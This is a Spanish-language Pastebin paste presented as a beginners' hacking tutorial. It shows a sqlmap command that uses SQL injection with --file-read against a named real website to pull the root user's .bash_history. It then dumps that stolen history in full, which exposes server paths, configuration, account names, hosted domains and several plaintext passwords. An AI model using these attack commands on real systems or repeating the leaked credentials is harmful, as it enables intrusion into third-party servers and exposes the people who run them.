Advertisement
smoke_ve

--file-read=/root/.bash_history

Jan 8th, 2013
608
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 8.35 KB | None | 0 0
  1. DESCARGAR VIDEO TUTORIAL+DATOS
  2. https://twitter.com/SwichSmoke
  3. ######################################################################
  4. # https://anonfiles.com/file/b3e88a39a745660962cd4584c0291d44 #
  5. ######################################################################
  6.  
  7. Tutorial Para novatos Clase #1
  8.  
  9. NOTA2: El Segundo vídeo mostrara como sacar mas información y varios Exploit
  10.  
  11. Ejemplo:
  12. sqlmap.py --url=http://avlachimenea.com/vervisita.php?noticia=8 --file-read=/root/.bash_history
  13.  
  14. Archivo .bash_history
  15. \sqlmap\output\avlachimenea.com\files
  16.  
  17. cat /etc/proftpd/proftpd.conf
  18. cat /etc/proftpd/proftpd.conf | lesss
  19. cat /etc/proftpd/proftpd.conf | less
  20. cat /etc/passwd
  21. passwd 2011-lega
  22. exit
  23. ps auxf
  24. ps e
  25. ps aux
  26. ps aux
  27. dig mx mcplace.com +short
  28. ping mcplace.com
  29. ping macplace.es
  30. dig mx macplace.es +short
  31. exit
  32. cat /etc/ld.so.conf
  33. cat /etc/ld.so.conf.d/i486-linux-gnu.conf
  34. cat /etc/ld.so.conf.d/libc.conf
  35. locate logrotate
  36. cat /etc/logrotate.conf
  37. cat /var/lib/logrotate/status
  38. cat /etc/logrotate.conf
  39. ls -lh /etc/logrotate.d/
  40. cat /etc/logrotate.d/ap
  41. cat /etc/logrotate.d/apache
  42. exit
  43. crontab -l
  44. crontab -l
  45. /usr/sbin/logrotate -f /etc/logrotate.conf
  46. cat /etc/logrotate.conf
  47. cat /etc/logrotate.conf
  48. vi /etc/logrotate.conf
  49. vi /etc/logrotate.d/apache
  50. exit
  51. vi /etc/logrotate.d/apache
  52. vi /etc/logrotate.conf
  53. exit
  54. ps aux
  55. dig mx mcplace.com
  56. dig mx macplace.es
  57. dig mx macplace.es +short
  58. exit
  59. exit
  60. ps aux
  61. ps aux | grep mysql
  62. ps aux | grep proftp
  63. whereis mysql
  64. ifconfig
  65. cd /usr/local/mysql/
  66. ls
  67. mkdir data
  68. cd ..
  69. cd mysql/
  70. rmdir data/
  71. ls -lh /home/
  72. ls -lh /home/ftp/
  73. ls -lh /var/lib/
  74. exit
  75. cat /etc/proftpd/proftpd.conf
  76. vi /etc/proftpd/proftpd.conf
  77. cat /etc/passwd
  78. :q
  79. vi /etc/proftpd/proftpd.conf
  80. /etc/init.d/proftpd restart
  81. exit
  82. vi /etc/proftpd/proftpd.conf
  83. tail -f /var/log/proftpd/proftpd.log
  84. cat /etc/ftpusers
  85. vi /etc/ftpusers
  86. vi /etc/proftpd/proftpd.conf
  87. /etc/init.d/proftpd restart
  88. exit
  89. vi /etc/proftpd/proftpd.conf
  90. vi /etc/ftpusers
  91. /etc/init.d/proftpd restart
  92. ls
  93. locate data
  94. locate data | grep data
  95. locate data | grep mysql
  96. locate data | grep mysql | less
  97. cd /usr/src/mysql-6.0.10-alpha/win/data
  98. pwd
  99. ls
  100. ls -lh
  101. ls -lh mysql/
  102. ls -lh
  103.  
  104. cd /usr/local/mysql/
  105. ls
  106. cd var/
  107. ls
  108. ls myb3/
  109. ls -lh myb3/
  110. ls -lh
  111. mv /root/alfatec.zip .
  112. ls -lh
  113. uncompress alfatec.zip
  114. unzip alfatec.zip
  115. apt-get install unzip
  116. unzip alfatec.zip
  117. ls -lh
  118. rm alfatec.zip
  119. ls -lh alfatec/
  120. ls -lh
  121. chown -R mysql alfatec/
  122. ls -lh
  123. chmod 2700 alfatec/
  124. ls -lh
  125. ls -lh canina/
  126. ls -lh alfatec/
  127. chmod 660 alfatec/*
  128. ls -lh alfatec/
  129. ls -lh
  130. pwd
  131. ls -lh
  132. cat /etc/ftpusers
  133. cat /etc/proftpd/proftpd.conf
  134. vi /etc/proftpd/proftpd.conf
  135. exit
  136. ps aux
  137. ps aux | grep sql
  138. cd /etc/init.d/
  139. ls
  140. mysql stop
  141. cd /
  142. cd /etc/init.d/mysql stop
  143. history
  144. exit
  145. ps aux
  146. ps aux
  147. df -h
  148. cd /backupweb/
  149. ls
  150. history
  151. crontab -l
  152. ll
  153. ll
  154. ll
  155. ll
  156. ll
  157. ll
  158. df -h
  159. df -h
  160. df -h
  161. df -h
  162. df -h
  163. df -h
  164. df -h
  165. df -h
  166. df -h
  167. df -h
  168. df -h
  169. df -h
  170. df -h
  171. ll
  172. ll
  173. ll
  174. ll
  175. ll
  176. ll
  177. ll
  178. ll
  179. ll
  180. crontab -e
  181. ll
  182. ll
  183. crontab -l
  184. find /backupweb -type -f -mtime +14 -exec rm '{}' \;
  185. find /backupweb -type f
  186. crontab -e
  187. crontab -l
  188. crontab -l
  189. crontab -l
  190. df -h
  191. df -h
  192. df -h
  193. df -h
  194. df -h
  195. df -h
  196. df -h
  197. df -h
  198. df -h
  199. df -h
  200. df -h
  201. df -h
  202. df -h
  203. df -h
  204. /etc/init.d/mysqld restart
  205. ps aux
  206. ps auxf
  207. ps auxf
  208. df -h
  209. df -h
  210. df -h
  211. df -h
  212. df -h
  213. df -h
  214. df -h
  215. df -h
  216. df -h
  217.  
  218. ps aux
  219. ll
  220. ll
  221. ls -lah
  222. df -h
  223. df -h
  224. df -h
  225. df -h
  226. df -h
  227. wall
  228. ps aux
  229. strace -p 23011
  230. w
  231. ps aux
  232. ll
  233. ll
  234. ls -lah
  235. ps aux
  236. ll
  237. uptime
  238. last
  239. ps aux
  240. df -h
  241. free -m
  242. ll
  243. ll
  244. df -h
  245. ps aux
  246. ps aux
  247. ll
  248. uptime
  249. ls
  250. exit
  251. mysql -p
  252. /etc/init.d/apache restart
  253. mysql -p
  254. cd /usr/local/apache/htdocs/
  255. ls
  256. more in
  257. more index.html
  258. cd ..
  259. cd conf/
  260. ls
  261. cd extra/
  262. ls
  263. vi httpd-vhosts.conf
  264. cd /home
  265. ls
  266. wget http://downloads.sourceforge.net/project/phpmyadmin/phpMyAdmin/3.5.2/phpMyAdmin-3.5.2-all-languages.tar.gz?r=http%3A%2F%2Fwww.phpmyadmin.net%2Fhome_page%2Fdownloads.php&ts=1341739561&use_mirror=switch
  267. ls
  268. tar xvfz phpMyAdmin-3.5.2-all-languages.tar.gz
  269. cd ..
  270. cd /home/
  271. ls
  272. mv phpMyAdmin-3.5.2-all-languages
  273. cd phpMyAdmin-3.5.2-all-languages
  274. ls
  275. mv config.sample.inc.php config.inc.php
  276. vi config.inc.php
  277. cd ..
  278. mv phpmyadmin phpmyadminold
  279. ln -s phpMyAdmin-3.5.2-all-languages phpmyadmin
  280. cd phpmyadmin
  281. ls
  282. vi config.inc.php
  283. ps aux
  284. mysql -p
  285. tail -f /var/log/syslog
  286. tail -f /var/log/messages
  287. ps aux
  288. ps auxf
  289. id 23011
  290. ps ax 23011
  291. ps ax | grep 23011
  292. ps aux
  293. ps ax
  294. last -10
  295. last -20
  296. last -39
  297. last -20 -f /var/log/wtmp
  298. last -20 -f /var/log/wtmp.1
  299. ps aux
  300. w
  301. exit
  302. ps aux
  303. ls
  304. ls
  305. ls
  306. l
  307. ls
  308. cd /home/www.cesif-online.es
  309. ls
  310. cd htdocs/
  311. ls
  312. more conexion_sisPHP5.php
  313. cd ..
  314. ls
  315. ls
  316. cd htdocs/
  317. ls
  318. grep mysql *
  319. grep connect *
  320. vi verproductos
  321. vi verproductos.php
  322. vi verproducto.php
  323. cd inc/db.php
  324. more inc/db.php
  325. mysql -p
  326. cd /usr/local/mysql/var/
  327. cd "cesif@002donline@002des"
  328. ls
  329. myisamchk -r modulos
  330. mysql -p
  331. /etc/init.d/mysqld stop
  332. ps aux
  333. /etc/init.d/mysqld stop
  334. /etc/init.d/mysqld stop
  335. /etc/init.d/mysqld stop
  336. /etc/init.d/mysqld stop
  337. cd .
  338. cd ..
  339. ../bin/mysqld_safe stop
  340. ps aux
  341. ps aux
  342. ../bin/mysqld_safe stop
  343. ps aux
  344. kill -9 23763
  345. ps aux
  346. kill -9 23878
  347. ps au
  348. ps aux
  349. /usr/local/mysql/bin/mysqld_safe --user=mysql &
  350. ps aux
  351. tail -f /usr/local/mysql/var/debian5.err
  352. ps aux
  353. mysql -p
  354. history
  355. tail -f /usr/local/mysql/var/debian5.err
  356. cat /usr/local/mysql/var/debian5.err
  357. ps ax
  358. ps a
  359. kill -9 23011
  360. kill -9 22967 22958
  361. ps aux
  362. ps aux
  363. exit
  364. cd /tmp/
  365. ls
  366. mysql -p
  367. mysql -p
  368. mysql -p
  369. exit
  370. ps aux
  371. exit
  372. cd /usr/src/
  373. ls
  374. exit
  375. ps aux
  376. crontab -e
  377. cat chequeavirus.sh
  378. more /var/log/clamav/scan.log
  379. touch /var/log/clamav/scan.log
  380. mkdir -p /var/log/clamav/
  381. touch /var/log/clamav/scan.log
  382. chmod 666 /var/log/clamav/scan.log
  383. vi chequeavirus.sh
  384. ./chequeavirus.sh &
  385. exit
  386. ps aux
  387. exit
  388. df -h
  389. cat /proc/cpuinfo
  390. df -h
  391. free -m
  392. cat /proc/cpuinfo | grep 2model name"
  393. cat /proc/cpuinfo | grep "model name"
  394. apachectl --help
  395. apachectl -V
  396. php -v
  397. mysql -v
  398. mysql -v -p
  399. mysql -v -p
  400. mysql -v -p
  401. crontab -l
  402. cat /root/backupdb2.sh
  403. mysql -v -p
  404. exit
  405. vi /usr/local/apache/conf/extra/httpd-vhosts.conf
  406. vi /usr/local/apache/conf/httpd.conf
  407. ps aux
  408. cat /etc/passwd
  409. cd /home/
  410. ls
  411. history
  412. vi /etc/ftpusers
  413. cat /etc/passwd
  414. :q
  415. users
  416. useradd www2.macplace.es
  417. su -www2.macplace.es
  418. su - www2.macplace.es
  419. userdel www2.macplace.es
  420. adduser www2.macplace.es
  421. adduser www2.macplace.es --force-badname
  422. su - www2.macplace.es
  423. su - www2.macplace.es
  424. vi /usr/local/apache/conf/extra/httpd-vhosts.conf
  425. apachectl restart
  426. exit
  427. ls /home/www.pharma-market.es/htdocs2
  428. vi /usr/local/apache/conf/extra/httpd-vhosts.conf
  429. apachectl restart
  430. exit
  431. vi /usr/local/apache/conf/extra/httpd-vhosts.conf
  432. history
  433. exit
  434. exit
  435. history
  436. exit
  437. history
  438. useradd www2.cesif.pt
  439. passwd www2.cesif.pt
  440. cd /home/
  441. ll
  442. history | more
  443. ll
  444. vi /usr/local/apache/conf/extra/httpd-vhosts.conf
  445. apachectl restart
  446. history
  447. passwd www2.cesif.pt
  448. ll
  449. userdel www2.cesif.pt
  450. useradd --help
  451. adduser --hel
  452. useradd --help
  453. useradd -d /home/www2.cesif.pt -m -p c3s1f12 www2.cesif.pt
  454. ls /home/www2.cesif.pt/
  455. ls
  456. ls -lah
  457. passwd www2.cesif.pt
  458. exit
  459. cat /etc/passwd
  460. passwd Cesifonline-weBes
  461. passwd Cesifonline-weBes
  462. passwd Cesifonline-weBes
  463. exit
  464. ls -lh
  465. ls -lh /home/
  466. ls -lh /home/
  467. ls -lh /home/backupdbs/
  468. ls -lh /home/ftp/
  469. ls -lh /home/
  470. cat /etc/passwd
  471. cd /home/www.cesif-online.es
  472. ls -lh
  473. ls -lh
  474. ls -lh htdocs/modulos
  475. ls -lRh htdocs/modulos | more
  476. ls -lRh h
  477. ls -lh
  478. find /home/ -name *ique* | more
  479. cd /home/www.cesifonline.es/
  480. ls -lh
  481. ls -lhR ./MODULO\ 4/
  482. ls -lhR ./MODULO\ 5/
  483. cd ../www.cesif-online.es/
  484. ls htdocs/
  485. ls htdocs/modulos
  486. history
  487. useradd --help
  488. useradd -d /home/www.cesif-online.es/htdocs/modulos -p La?Pique Web-maria
  489. ls -lh /home/www.cesif-online.es/htdocs/modulos
  490. exit
  491. cd /home/
  492. ls
  493. cat usr/local/apache/conf/extra/httpd-vhosts.conf
  494. cd usr/local/apache/conf/extra/httpd-vhosts.conf
  495. cd usr/local/apache/conf/extra/
  496. cd ..
  497. cd usr/local/apache/conf/extra/
  498. vi vi httpd-vhosts.conf
  499. vi httpd-vhosts.conf
  500. ps aux | grep apache
  501. /etc/init.d/apache restart
  502. ps aux | grep apache
  503. crontab -l
  504. /etc/awstats/
  505. cd /etc/awstats/
  506. ls
  507. ls -la
  508. cp -p awstats.www.residenciavegadelhenares.es.conf awstats.www.macplace.es.conf
  509. vi awstats.www.macplace.es.conf
  510. /usr/local/awstats/tools/awstats_updateall.pl now
  511. exit
  512. cat /etc/passwd
  513. su - Web-maria
  514. man passwd
  515. passwd Web-maria
  516. exit
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement